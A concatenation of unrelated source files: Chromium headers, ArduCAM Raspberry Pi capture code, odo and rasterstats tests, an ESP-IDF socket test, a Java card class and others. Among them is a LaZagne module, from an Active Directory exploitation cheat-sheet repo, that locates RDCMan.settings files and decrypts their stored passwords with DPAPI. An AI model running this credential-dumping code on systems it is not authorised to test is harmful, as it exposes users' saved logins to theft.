return pathWithThumbnail; # } # } # src = "local/image.png" from the state # <img src={useThumbnail(state.src)} /> # 2. JavaScript only # <img id="responsive-image" src="local/image.png" /> # widthForThumbnail = "use the width you think adequate for this" # responsiveImage = document.getElementById("responsive-image") # path = responsiveImage.src # const useThumbnail = (path = "") => { # if window.innerWidth > widthForThumbnail { # responsiveImage.src = path # } else { # const [file, extension] = path.split('.'); # const includeInPath = "thumbnail"; # const pathWithThumbnail = [file, includeInPath, extension].join('.'); # responsiveImage.src = pathWithThumbnail; # } # } # useThumbnail()
782
444
from datetime import timedelta from django.utils import timezone def first_day_of_the_week(relative_to_date=None): if relative_to_date is None: relative_to_date = timezone.now() return (relative_to_date - timedelta(days=relative_to_date.weekday())).date()
110
575
// Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/ui/global_error/global_error_waiter.h" #include "chrome/browser/ui/global_error/global_error_service_factory.h" namespace test { GlobalErrorWaiter::GlobalErrorWaiter(Profile* profile) { scoped_observer_.Add(GlobalErrorServiceFactory::GetForProfile(profile)); } GlobalErrorWaiter::~GlobalErrorWaiter() = default; void GlobalErrorWaiter::OnGlobalErrorsChanged() { if (run_loop_.running()) run_loop_.Quit(); else errors_changed_ = true; } void GlobalErrorWaiter::Wait() { if (!errors_changed_) run_loop_.Run(); } } // namespace test
243
1,290
<reponame>dfirpaul/Active-Directory-Exploitation-Cheat-Sheet-1 # -*- coding: utf-8 -*- import base64 from xml.etree.cElementTree import ElementTree from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import Win32CryptUnprotectData from lazagne.config.constant import constant import os class RDPManager(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'rdpmanager', 'sysadmin', winapi_used=True) def decrypt_password(self, encrypted_password): try: decoded = base64.b64decode(encrypted_password) password_decrypted_bytes = Win32CryptUnprotectData(decoded, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) password_decrypted = password_decrypted_bytes.decode("utf-8") password_decrypted = password_decrypted.replace('\x00', '') except Exception: password_decrypted = encrypted_password.replace('\x00', '') return password_decrypted def format_output_tag(self, tag): tag = tag.lower() if 'username' in tag: tag = 'Login' elif 'hostname' in tag: tag = 'URL' return tag.capitalize() def check_tag_content(self, values, c): if 'password' in c.tag.lower(): values['Password'] = self.decrypt_password(c.text) else: tag = self.format_output_tag(c.tag) values[tag] = c.text return values def parse_element(self, root, element): pwd_found = [] try: for r in root.findall(element): values = {} for child in r.getchildren(): if child.tag == 'properties': for c in child.getchildren(): values = self.check_tag_content(values, c) elif child.tag == 'logonCredentials': for c in child.getchildren(): values = self.check_tag_content(values, c) else: values = self.check_tag_content(values, child) if values: pwd_found.append(values) except Exception as e: self.debug(str(e)) return pwd_found def run(self): settings = [ os.path.join(constant.profile['LOCALAPPDATA'], u'Microsoft Corporation\\Remote Desktop Connection Manager\\RDCMan.settings'), os.path.join(constant.profile['LOCALAPPDATA'], u'Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings') ] for setting in settings: if os.path.exists(setting): self.debug(u'Setting file found: {setting}'.format(setting=setting)) tree = ElementTree(file=setting) root = tree.getroot() pwd_found = [] elements = [ 'CredentialsProfiles/credentialsProfiles/credentialsProfile', 'DefaultGroupSettings/defaultSettings/logonCredentials', 'file/server', ] for element in elements: pwd_found += self.parse_element(root, element) try: for r in root.find('FilesToOpen'): if os.path.exists(r.text): self.debug(u'New setting file found: %s' % r.text) pwd_found += self.parse_xml(r.text) except Exception: pass return pwd_found
1,935
2,151
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef COMPONENTS_PAYMENTS_CONTENT_SERVICE_WORKER_PAYMENT_INSTRUMENT_H_ #define COMPONENTS_PAYMENTS_CONTENT_SERVICE_WORKER_PAYMENT_INSTRUMENT_H_ #include "components/payments/content/payment_request_spec.h" #include "components/payments/content/web_app_manifest.h" #include "components/payments/core/payment_instrument.h" #include "content/public/browser/stored_payment_app.h" #include "third_party/blink/public/platform/modules/payments/payment_app.mojom.h" #include "third_party/blink/public/platform/modules/payments/payment_request.mojom.h" namespace content { class BrowserContext; class WebContents; } // namespace content namespace payments { class PaymentRequestDelegate; // Represents a service worker based payment app. class ServiceWorkerPaymentInstrument : public PaymentInstrument { public: // This constructor is used for a payment app that has been installed in // Chrome. ServiceWorkerPaymentInstrument( content::BrowserContext* browser_context, const GURL& top_origin, const GURL& frame_origin, const PaymentRequestSpec* spec, std::unique_ptr<content::StoredPaymentApp> stored_payment_app_info, PaymentRequestDelegate* payment_request_delegate); // This contructor is used for a payment app that has not been installed in // Chrome but can be installed when paying with it. ServiceWorkerPaymentInstrument( content::WebContents* web_contents, const GURL& top_origin, const GURL& frame_origin, const PaymentRequestSpec* spec, std::unique_ptr<WebAppInstallationInfo> installable_payment_app_info, const std::string& enabled_methods, PaymentRequestDelegate* payment_request_delegate); ~ServiceWorkerPaymentInstrument() override; // The callback for ValidateCanMakePayment. // The first return value is a pointer point to the corresponding // ServiceWorkerPaymentInstrument of the result. The second return value is // the result. using ValidateCanMakePaymentCallback = base::OnceCallback<void(ServiceWorkerPaymentInstrument*, bool)>; // Validates whether this payment instrument can be used for this payment // request. It fires CanMakePaymentEvent to the payment app to do validation. // The result is returned through callback.If the returned result is false, // then this instrument should not be used for this payment request. This // interface must be called before any other interfaces in this class. void ValidateCanMakePayment(ValidateCanMakePaymentCallback callback); // PaymentInstrument: void InvokePaymentApp(Delegate* delegate) override; bool IsCompleteForPayment() const override; bool IsExactlyMatchingMerchantRequest() const override; base::string16 GetMissingInfoLabel() const override; bool IsValidForCanMakePayment() const override; void RecordUse() override; base::string16 GetLabel() const override; base::string16 GetSublabel() const override; bool IsValidForModifier(const std::vector<std::string>& methods, bool supported_networks_specified, const std::set<std::string>& supported_networks, bool supported_types_specified, const std::set<autofill::CreditCard::CardType>& supported_types) const override; const gfx::ImageSkia* icon_image_skia() const override; private: friend class ServiceWorkerPaymentInstrumentTest; void OnPaymentAppInvoked(mojom::PaymentHandlerResponsePtr response); mojom::PaymentRequestEventDataPtr CreatePaymentRequestEventData(); mojom::CanMakePaymentEventDataPtr CreateCanMakePaymentEventData(); void OnCanMakePayment(ValidateCanMakePaymentCallback callback, bool result); content::BrowserContext* browser_context_; GURL top_origin_; GURL frame_origin_; const PaymentRequestSpec* spec_; std::unique_ptr<content::StoredPaymentApp> stored_payment_app_info_; std::unique_ptr<gfx::ImageSkia> icon_image_; // Weak pointer is fine here since the owner of this object is // PaymentRequestState which also owns PaymentResponseHelper. Delegate* delegate_; // Weak pointer that must outlive this object. PaymentRequestDelegate* payment_request_delegate_; // PaymentAppProvider::CanMakePayment result of this payment instrument. bool can_make_payment_result_; // Below variables are used for installable ServiceWorkerPaymentInstrument // specifically. bool needs_installation_; content::WebContents* web_contents_; std::unique_ptr<WebAppInstallationInfo> installable_web_app_info_; std::string installable_enabled_method_; base::WeakPtrFactory<ServiceWorkerPaymentInstrument> weak_ptr_factory_; DISALLOW_COPY_AND_ASSIGN(ServiceWorkerPaymentInstrument); }; } // namespace payments #endif // COMPONENTS_PAYMENTS_CONTENT_SERVICE_WORKER_PAYMENT_INSTRUMENT_H_
1,590
467
<reponame>orion434/Arduino<gh_stars>100-1000 /*----------------------------------------- //Update History: //2016/06/13 V1.1 by Lee add support for burst mode --------------------------------------*/ #include <string.h> #include <time.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <wiringPiI2C.h> #include <wiringPi.h> #include "arducam_arch_raspberrypi.h" #define OV5640_CHIPID_HIGH 0x300a #define OV5640_CHIPID_LOW 0x300b #define OV5640_MAX_FIFO_SIZE 0x7FFFFF //8MByte #define BUF_SIZE 4096 #define CAM1_CS 0 #define CAM2_CS 4 #define CAM3_CS 3 #define CAM4_CS 5 #define VSYNC_LEVEL_MASK 0x02 //0 = High active , 1 = Low active uint8_t buf[BUF_SIZE]; bool is_header = false; ArduCAM myCAM1(OV5640,CAM1_CS); ArduCAM myCAM2(OV5640,CAM2_CS); ArduCAM myCAM3(OV5640,CAM3_CS); ArduCAM myCAM4(OV5640,CAM4_CS); void setup() { uint8_t vid,pid; uint8_t temp; wiring_init(); pinMode(CAM1_CS, OUTPUT); pinMode(CAM2_CS, OUTPUT); pinMode(CAM3_CS, OUTPUT); pinMode(CAM4_CS, OUTPUT); // Check if the ArduCAM SPI1 bus is OK myCAM1.write_reg(ARDUCHIP_TEST1, 0x55); temp = myCAM1.read_reg(ARDUCHIP_TEST1); //printf("temp=%x\n",temp); if(temp != 0x55) { printf("SPI1 interface error!\n"); exit(EXIT_FAILURE); } // Check if the ArduCAM SPI2 bus is OK myCAM2.write_reg(ARDUCHIP_TEST1, 0x55); temp = myCAM2.read_reg(ARDUCHIP_TEST1); //printf("temp=%x\n",temp); //debug if(temp != 0x55) { printf("SPI2 interface error!\n"); exit(EXIT_FAILURE); } // Check if the ArduCAM SPI3 bus is OK myCAM3.write_reg(ARDUCHIP_TEST1, 0x55); temp = myCAM3.read_reg(ARDUCHIP_TEST1); //printf("temp=%x\n",temp); if(temp != 0x55) { printf("SPI3 interface error!\n"); exit(EXIT_FAILURE); } // Check if the ArduCAM SPI4 bus is OK myCAM4.write_reg(ARDUCHIP_TEST1, 0x55); temp = myCAM4.read_reg(ARDUCHIP_TEST1); //printf("temp=%x\n",temp); if(temp != 0x55) { printf("SPI4 interface error!\n"); exit(EXIT_FAILURE); } // Change MCU mode myCAM1.write_reg(ARDUCHIP_MODE, 0x00); myCAM2.write_reg(ARDUCHIP_MODE, 0x00); myCAM3.write_reg(ARDUCHIP_MODE, 0x00); myCAM4.write_reg(ARDUCHIP_MODE, 0x00); myCAM1.wrSensorReg16_8(0xff, 0x01); myCAM1.rdSensorReg16_8(OV5640_CHIPID_HIGH, &vid); myCAM1.rdSensorReg16_8(OV5640_CHIPID_LOW, &pid); if((vid != 0x56) || (pid != 0x40)) printf("Can't find OV5640 module!"); else printf("OV5640 detected.\n"); } int main(int argc, char *argv[]) { uint8_t temp = 0, temp_last = 0; if (argc == 1) { printf("Usage: %s [-s <resolution>] | [-c <filename]", argv[0]); printf(" -s <resolution> Set resolution, valid resolutions are:\n"); printf(" 320x240\n"); printf(" 352x288\n"); printf(" 640x480\n"); printf(" 800x480\n"); printf(" 1024x768\n"); printf(" 1280x960\n"); printf(" 1600x1200\n"); printf(" 2048x1536\n"); printf(" 2592x1944\n"); printf(" -c <filename> Capture image\n"); exit(EXIT_SUCCESS); } if (strcmp(argv[1], "-c") == 0 && argc == 7) { setup(); myCAM1.set_format(JPEG); myCAM1.InitCAM(); // Change to JPEG capture mode and initialize the OV5640 module if (strcmp(argv[6], "320x240") == 0) myCAM1.OV5640_set_JPEG_size(OV5640_320x240); else if (strcmp(argv[6], "352x288") == 0) myCAM1.OV5640_set_JPEG_size(OV5640_352x288); else if (strcmp(argv[6], "640x480") == 0) myCAM1.OV5640_set_JPEG_size(OV5640_640x480); else if (strcmp(argv[6], "800x480") == 0) myCAM1.OV5640_set_JPEG_size(OV5640_800x480); else if (strcmp(argv[6], "1024x768") == 0) myCAM1.OV5640_set_JPEG_size(OV5640_1024x768); else if (strcmp(argv[6], "1280x960") == 0) myCAM1.OV5640_set_JPEG_size(OV5640_1280x960); else if (strcmp(argv[6], "1600x1200") == 0) myCAM1.OV5640_set_JPEG_size(OV5640_1600x1200); else if (strcmp(argv[6], "2048x1536") == 0) myCAM1.OV5640_set_JPEG_size(OV5640_2048x1536); else if (strcmp(argv[6], "2592x1944") == 0) myCAM1.OV5640_set_JPEG_size(OV5640_2592x1944); else { printf("Unknown resolution %s\n", argv[6]); exit(EXIT_FAILURE); } sleep(1); // Let auto exposure do it's thing after changing image settings printf("Changed resolution1 to %s\n", argv[6]); myCAM1.write_reg(ARDUCHIP_TIM, VSYNC_LEVEL_MASK); //VSYNC is active HIGH myCAM2.write_reg(ARDUCHIP_TIM, VSYNC_LEVEL_MASK); //VSYNC is active HIGH myCAM3.write_reg(ARDUCHIP_TIM, VSYNC_LEVEL_MASK); //VSYNC is active HIGH myCAM4.write_reg(ARDUCHIP_TIM, VSYNC_LEVEL_MASK); //VSYNC is active HIGH // Flush the FIFO myCAM1.flush_fifo(); // Clear the capture done flag myCAM1.clear_fifo_flag(); // Start capture printf("CAM1 start capture\n"); myCAM1.start_capture(); while (!(myCAM1.read_reg(ARDUCHIP_TRIG) & CAP_DONE_MASK)) ; printf("CAM1 Capture Done\n"); // Flush the FIFO myCAM2.flush_fifo(); // Clear the capture done flag myCAM2.clear_fifo_flag(); // Start capture printf("CAM2 start capture\n"); myCAM2.start_capture(); while (!(myCAM2.read_reg(ARDUCHIP_TRIG) & CAP_DONE_MASK)) ; printf("CAM2 Capture Done\n"); // Flush the FIFO myCAM3.flush_fifo(); // Clear the capture done flag myCAM3.clear_fifo_flag(); // Start capture printf("CAM3 start capture\n"); myCAM3.start_capture(); while (!(myCAM3.read_reg(ARDUCHIP_TRIG) & CAP_DONE_MASK)) ; printf("CAM3 Capture Done\n"); // Flush the FIFO myCAM4.flush_fifo(); // Clear the capture done flag myCAM4.clear_fifo_flag(); // Start capture printf("CAM4 start capture\n"); myCAM4.start_capture(); while (!(myCAM4.read_reg(ARDUCHIP_TRIG) & CAP_DONE_MASK)) ; printf("CAM4 Capture Done\n"); // Open the new file FILE *fp1 = fopen(argv[2], "w+"); FILE *fp2 = fopen(argv[3], "w+"); FILE *fp3 = fopen(argv[4], "w+"); FILE *fp4 = fopen(argv[5], "w+"); if (!fp1) { printf("Error: could not open %s\n", argv[2]); exit(EXIT_FAILURE); } if (!fp2) { printf("Error: could not open %s\n", argv[3]); exit(EXIT_FAILURE); } if (!fp3) { printf("Error: could not open %s\n", argv[4]); exit(EXIT_FAILURE); } if (!fp4) { printf("Error: could not open %s\n", argv[5]); exit(EXIT_FAILURE); } printf("Reading FIFO and saving IMG\n"); size_t len1 = myCAM1.read_fifo_length(); size_t len2 = myCAM2.read_fifo_length(); size_t len3 = myCAM3.read_fifo_length(); size_t len4 = myCAM4.read_fifo_length(); printf("The len1 is %d\r\n",len1); printf("The len2 is %d\r\n",len2); printf("The len3 is %d\r\n",len3); printf("The len4 is %d\r\n",len4); if ((len1>=OV5640_MAX_FIFO_SIZE)||(len2>=OV5640_MAX_FIFO_SIZE)||(len3>=OV5640_MAX_FIFO_SIZE)||(len4>=OV5640_MAX_FIFO_SIZE)){ printf("Over size."); exit(EXIT_FAILURE); } if (len1 == 0 ) printf("Size1 is 0."); if (len2 == 0 ) printf("Size2 is 0."); if (len3 == 0 ) printf("Size3 is 0."); if (len4 == 0 ) printf("Size4 is 0."); int32_t i = 0; myCAM1.CS_LOW(); //Set CS low myCAM1.set_fifo_burst(); while ( len1-- ) { temp_last = temp; temp = myCAM1.transfer(0x00); //Read JPEG data from FIFO if ( (temp == 0xD9) && (temp_last == 0xFF) ) //If find the end ,break while, { buf[i++] = temp; //save the last 0XD9 //Write the remain bytes in the buffer myCAM1.CS_HIGH(); fwrite(buf, i, 1, fp1); //Close the file fclose(fp1); printf("IMG1 save OK !\n"); is_header = false; i = 0; } if (is_header == true) { //Write image data to buffer if not full if (i < BUF_SIZE) buf[i++] = temp; else { //Write BUF_SIZE bytes image data to file myCAM1.CS_HIGH(); fwrite(buf, BUF_SIZE, 1, fp1); i = 0; buf[i++] = temp; myCAM1.CS_LOW(); myCAM1.set_fifo_burst(); } } else if ((temp == 0xD8) & (temp_last == 0xFF)) { is_header = true; buf[i++] = temp_last; buf[i++] = temp; } } temp = 0;temp_last = 0; i = 0; myCAM2.CS_LOW(); //Set CS low myCAM2.set_fifo_burst(); while ( len2-- ) { temp_last = temp; temp = myCAM2.transfer(0x00); //Read JPEG data from FIFO if ( (temp == 0xD9) && (temp_last == 0xFF) ) //If find the end ,break while, { buf[i++] = temp; //save the last 0XD9 //Write the remain bytes in the buffer myCAM2.CS_HIGH(); fwrite(buf, i, 1, fp2); //Close the file fclose(fp2); printf("IMG2 save OK !\n"); is_header = false; i = 0; } if (is_header == true) { //Write image data to buffer if not full if (i < BUF_SIZE) buf[i++] = temp; else { //Write BUF_SIZE bytes image data to file myCAM2.CS_HIGH(); fwrite(buf, BUF_SIZE, 1, fp2); i = 0; buf[i++] = temp; myCAM2.CS_LOW(); myCAM2.set_fifo_burst(); } } else if ((temp == 0xD8) & (temp_last == 0xFF)) { is_header = true; buf[i++] = temp_last; buf[i++] = temp; } } temp = 0;temp_last = 0; i = 0; myCAM3.CS_LOW(); //Set CS low myCAM3.set_fifo_burst(); while ( len3-- ) { temp_last = temp; temp = myCAM3.transfer(0x00); //Read JPEG data from FIFO if ( (temp == 0xD9) && (temp_last == 0xFF) ) //If find the end ,break while, { buf[i++] = temp; //save the last 0XD9 //Write the remain bytes in the buffer myCAM3.CS_HIGH(); fwrite(buf, i, 1, fp3); //Close the file fclose(fp3); printf("IMG3 save OK !\n"); is_header = false; i = 0; } if (is_header == true) { //Write image data to buffer if not full if (i < BUF_SIZE) buf[i++] = temp; else { //Write BUF_SIZE bytes image data to file myCAM3.CS_HIGH(); fwrite(buf, BUF_SIZE, 1, fp3); i = 0; buf[i++] = temp; myCAM3.CS_LOW(); myCAM3.set_fifo_burst(); } } else if ((temp == 0xD8) & (temp_last == 0xFF)) { is_header = true; buf[i++] = temp_last; buf[i++] = temp; } } temp = 0;temp_last = 0; i = 0; myCAM4.CS_LOW(); //Set CS low myCAM4.set_fifo_burst(); while ( len4-- ) { temp_last = temp; temp = myCAM4.transfer(0x00); //Read JPEG data from FIFO if ( (temp == 0xD9) && (temp_last == 0xFF) ) //If find the end ,break while, { buf[i++] = temp; //save the last 0XD9 //Write the remain bytes in the buffer myCAM4.CS_HIGH(); fwrite(buf, i, 1, fp4); //Close the file fclose(fp4); printf("IMG4 save OK !\n"); is_header = false; i = 0; } if (is_header == true) { //Write image data to buffer if not full if (i < BUF_SIZE) buf[i++] = temp; else { //Write BUF_SIZE bytes image data to file myCAM4.CS_HIGH(); fwrite(buf, BUF_SIZE, 1, fp4); i = 0; buf[i++] = temp; myCAM4.CS_LOW(); myCAM4.set_fifo_burst(); } } else if ((temp == 0xD8) & (temp_last == 0xFF)) { is_header = true; buf[i++] = temp_last; buf[i++] = temp; } } } else { printf("Error: unknown or missing argument.\n"); exit(EXIT_FAILURE); } exit(EXIT_SUCCESS); }
7,196
701
import sys if "sphinx" not in sys.modules: from . import cv2 from . import data from .data import * from Foundation import NSString # wildcard import above does not import "private" variables like __version__ # this makes them available globals().update(cv2.__dict__) def autorotate(frame, cam): """ Returns an auto rotated frame captured with hardware camera. By default, frames captured by hardware camera will be rotated correctly only if the device is in portrait mode. By calling this function, you can make sure things like face detection will work on any device orientation. :param frame: The frame captured by the camera. :param cam: The camera used to capture the frame. ``0`` for back and ``1`` for front. """ from scipy.ndimage import rotate from pyto import QuickLookHelper from PIL import Image, ImageOps import numpy as np rotated = rotate(frame, QuickLookHelper.openCvRotation(cam)) if cam == 1: im = Image.fromarray(rotated) im = ImageOps.mirror(im) return np.array(im) else: return rotated def imshow_image(title, image): from PIL import Image image = Image.fromarray(image) image.show(title="OpenCV") imshow = imshow_image
449
844
<gh_stars>100-1000 from __future__ import absolute_import, division, print_function from datashape import dshape from odo.chunks import * from toolz import first CL = chunks(list) def test_chunks_basics(): assert isinstance(CL, type) assert issubclass(CL, Chunks) def test_chunks_isnt_consumable(): cl = CL([[1, 2, 3], [4, 5, 6]]) assert next(iter(cl)) == [1, 2, 3] assert next(iter(cl)) == [1, 2, 3] def test_chunks_is_memoized(): assert chunks(list) is chunks(list) def test_callables(): cl = CL(lambda: (list(range(3)) for i in range(3))) assert first(cl) == [0, 1, 2] assert first(cl) == [0, 1, 2] def test_discover(): cl = CL([[1, 2, 3], [4, 5, 6]]) assert discover(cl).measure == discover(1).measure def test_discover_no_consume(): cl = CL(iter(([0, 1, 2], [3, 4, 5]))) assert discover(cl) == discover(cl) == dshape('var * int64') assert tuple(cl) == ([0, 1, 2], [3, 4, 5]) assert tuple(cl) == ()
408
468
<filename>OpenGLDLL/GLFunctions/NV/NV_gpu_program5_Include.h #define GLI_INCLUDE_GL_NV_GPU_PROGRAM5 enum Main { //GL_MAX_GEOMETRY_PROGRAM_INVOCATIONS_NV = 0x8E5A, //GL_MIN_FRAGMENT_INTERPOLATION_OFFSET_NV = 0x8E5B, //GL_MAX_FRAGMENT_INTERPOLATION_OFFSET_NV = 0x8E5C, //GL_FRAGMENT_PROGRAM_INTERPOLATION_OFFSET_BITS_NV = 0x8E5D, //GL_MIN_PROGRAM_TEXTURE_GATHER_OFFSET_NV = 0x8E5E, //GL_MAX_PROGRAM_TEXTURE_GATHER_OFFSET_NV = 0x8E5F, GL_MAX_PROGRAM_SUBROUTINE_PARAMETERS_NV = 0x8F44, GL_MAX_PROGRAM_SUBROUTINE_NUM_NV = 0x8F45, }; void glProgramSubroutineParametersuivNV(GLenum[Main] target, GLsizei count, const GLuint * params); void glGetProgramSubroutineParameteruivNV(GLenum[Main] target, GLuint index, GLuint * param);
461
349
<filename>tests/test_point.py import os import rasterio from rasterstats.point import point_window_unitxy, bilinear, geom_xys from rasterstats import point_query raster = os.path.join(os.path.dirname(__file__), 'data/slope.tif') raster_nodata = os.path.join(os.path.dirname(__file__), 'data/slope_nodata.tif') with rasterio.open(raster) as src: affine = src.transform def test_unitxy_ul(): win, unitxy = point_window_unitxy(245300, 1000073, affine) assert win == ((30, 32), (38, 40)) x, y = unitxy # should be in LR of new unit square assert x > 0.5 assert y < 0.5 def test_unitxy_ur(): win, unitxy = point_window_unitxy(245318, 1000073, affine) assert win == ((30, 32), (39, 41)) x, y = unitxy # should be in LL of new unit square assert x < 0.5 assert y < 0.5 win, unitxy = point_window_unitxy(245296, 1000073, affine) assert win == ((30, 32), (38, 40)) x, y = unitxy # should be in LL of new unit square assert x < 0.5 assert y < 0.5 def test_unitxy_lr(): win, unitxy = point_window_unitxy(245318, 1000056, affine) assert win == ((31, 33), (39, 41)) x, y = unitxy # should be in UL of new unit square assert x < 0.5 assert y > 0.5 def test_unitxy_ll(): win, unitxy = point_window_unitxy(245300, 1000056, affine) assert win == ((31, 33), (38, 40)) x, y = unitxy # should be in UR of new unit square assert x > 0.5 assert y > 0.5 def test_bilinear(): import numpy as np arr = np.array([[1.0, 2.0], [3.0, 4.0]]) assert bilinear(arr, 0, 0) == 3.0 assert bilinear(arr, 1, 0) == 4.0 assert bilinear(arr, 1, 1) == 2.0 assert bilinear(arr, 0, 1) == 1.0 assert bilinear(arr, 0.5, 0.5) == arr.mean() assert bilinear(arr, 0.95, 0.95) < 4.0 assert bilinear(arr, 0.05, 0.95) > 1.0 def test_xy_array_bilinear_window(): """ integration test """ x, y = (245309, 1000064) with rasterio.open(raster) as src: win, unitxy = point_window_unitxy(x, y, affine) arr = src.read(1, window=win) val = bilinear(arr, *unitxy) assert round(val) == 74 def test_point_query(): point = "POINT(245309 1000064)" val = point_query(point, raster)[0] assert round(val) == 74 def test_point_query_geojson(): point = "POINT(245309 1000064)" features = point_query(point, raster, property_name="TEST", geojson_out=True) for feature in features: assert 'TEST' in feature['properties'] assert round(feature['properties']['TEST']) == 74 def test_point_query_nodata(): # all nodata, on the grid point = "POINT(245309 1000308)" val = point_query(point, raster_nodata)[0] assert val is None # all nodata, off the grid point = "POINT(244000 1000308)" val = point_query(point, raster_nodata)[0] assert val is None point = "POINT(244000 1000308)" val = point_query(point, raster_nodata, interpolate="nearest")[0] assert val is None # some nodata, should fall back to nearest point = "POINT(245905 1000361)" val = point_query(point, raster_nodata, interpolate="nearest")[0] assert round(val) == 43 val = point_query(point, raster_nodata)[0] assert round(val) == 43 def test_geom_xys(): from shapely.geometry import (Point, MultiPoint, LineString, MultiLineString, Polygon, MultiPolygon) pt = Point(0, 0) assert list(geom_xys(pt)) == [(0, 0)] mpt = MultiPoint([(0, 0), (1, 1)]) assert list(geom_xys(mpt)) == [(0, 0), (1, 1)] line = LineString([(0, 0), (1, 1)]) assert list(geom_xys(line)) == [(0, 0), (1, 1)] mline = MultiLineString([((0, 0), (1, 1)), ((-1, 0), (1, 0))]) assert list(geom_xys(mline)) == [(0, 0), (1, 1), (-1, 0), (1, 0)] poly = Polygon([(0, 0), (1, 1), (1, 0)]) assert list(geom_xys(poly)) == [(0, 0), (1, 1), (1, 0), (0, 0)] ring = poly.exterior assert list(geom_xys(ring)) == [(0, 0), (1, 1), (1, 0), (0, 0)] mpoly = MultiPolygon([poly, Polygon([(2, 2), (3, 3), (3, 2)])]) assert list(geom_xys(mpoly)) == [(0, 0), (1, 1), (1, 0), (0, 0), (2, 2), (3, 3), (3, 2), (2, 2)] mpt3d = MultiPoint([(0, 0, 1), (1, 1, 2)]) assert list(geom_xys(mpt3d)) == [(0, 0), (1, 1)]
1,993
1,444
<reponame>J-VOL/mage<filename>Mage.Sets/src/mage/cards/n/NineRingedBo.java<gh_stars>1000+ package mage.cards.n; import mage.abilities.Ability; import mage.abilities.common.SimpleActivatedAbility; import mage.abilities.costs.common.TapSourceCost; import mage.abilities.effects.common.DamageTargetEffect; import mage.abilities.effects.common.ExileTargetIfDiesEffect; import mage.cards.CardImpl; import mage.cards.CardSetInfo; import mage.constants.CardType; import mage.constants.SubType; import mage.filter.FilterPermanent; import mage.filter.common.FilterCreaturePermanent; import mage.target.TargetPermanent; import java.util.UUID; /** * @author LevelX */ public final class NineRingedBo extends CardImpl { private static final FilterPermanent filter = new FilterCreaturePermanent(SubType.SPIRIT, "Spirit creature"); public NineRingedBo(UUID ownerId, CardSetInfo setInfo) { super(ownerId, setInfo, new CardType[]{CardType.ARTIFACT}, "{3}"); // {T}: Nine-Ringed Bo deals 1 damage to target Spirit creature. If that creature would die this turn, exile it instead. Ability ability = new SimpleActivatedAbility(new DamageTargetEffect(1), new TapSourceCost()); ability.addEffect(new ExileTargetIfDiesEffect()); ability.addTarget(new TargetPermanent(filter)); this.addAbility(ability); } private NineRingedBo(final NineRingedBo card) { super(card); } @Override public NineRingedBo copy() { return new NineRingedBo(this); } }
512
539
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. #pragma once #include <boost/python/suite/indexing/vector_indexing_suite.hpp> namespace bond { namespace python { // Indexing suite equivalent to boost::python::vector_indexing_suite but for // containers that don't support random access iterator. template <typename T, bool NoProxy, typename DerivedPolicies> class list_indexing_suite; namespace detail { template <typename T, bool NoProxy> class final_list_derived_policies : public bond::python::list_indexing_suite< T, NoProxy, final_list_derived_policies<T, NoProxy> > {}; } template < typename T, bool NoProxy = false, typename DerivedPolicies = detail::final_list_derived_policies<T, NoProxy> > class list_indexing_suite : public boost::python::vector_indexing_suite<T, NoProxy, DerivedPolicies> { typedef boost::python::vector_indexing_suite<T, NoProxy, DerivedPolicies> base; public: typedef typename base::data_type data_type; typedef typename base::index_type index_type; typedef typename base::key_type key_type; static typename std::conditional< std::is_class<data_type>::value, data_type&, data_type >::type get_item(T& list, index_type i) { return *advance(list.begin(), i); } static void set_item(T& list, index_type i, data_type const& v) { *advance(list.begin(), i) = v; } static void delete_item(T& list, index_type i) { list.erase(advance(list.begin(), i)); } static boost::python::object get_slice(T& list, index_type from, index_type to) { if (from > to) return boost::python::object(T()); auto s = slice(list, from, to); return boost::python::object(T(s.first, s.second)); } static void set_slice(T& list, index_type from, index_type to, data_type const& v) { if (to >= from) { auto s = slice(list, from, to); list.erase(s.first, s.second); list.insert(advance(list.begin(), from), v); } } template <typename Iter> static void set_slice(T& list, index_type from, index_type to, Iter first, Iter last) { if (to >= from) { auto s = slice(list, from, to); list.erase(s.first, s.second); list.insert(advance(list.begin(), from), first, last); } } static void delete_slice(T& list, index_type from, index_type to) { if (to >= from) { auto s = slice(list, from, to); list.erase(s.first, s.second); } } private: static typename T::iterator advance(typename T::iterator it, typename T::difference_type i) { return std::advance(it, i), it; } static std::pair<typename T::iterator, typename T::iterator> slice(T& list, index_type from, index_type to) { BOOST_ASSERT(to >= from); std::pair<typename T::iterator, typename T::iterator> s; s.first = list.begin(); std::advance(s.first, from); s.second = s.first; std::advance(s.second, to - from); return s; } }; } // namespace python } // namespace bond
1,558
8,747
# This example code is in the Public Domain (or CC0 licensed, at your option.) # Unless required by applicable law or agreed to in writing, this # software is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR # CONDITIONS OF ANY KIND, either express or implied. # -*- coding: utf-8 -*- from __future__ import print_function, unicode_literals import re import ttfw_idf @ttfw_idf.idf_example_test(env_tag='Example_GENERIC') def test_examples_protocol_socket_non_block(env, _): dut = env.get_dut('non_blocking_socket', 'examples/protocols/sockets/non_blocking', dut_class=ttfw_idf.ESP32DUT) # start the test and expect the client to receive back it's original data dut.start_app() dut.expect(re.compile(r'nonblocking-socket-client: Received: GET / HTTP/1.1'), timeout=30) if __name__ == '__main__': test_examples_protocol_socket_non_block()
308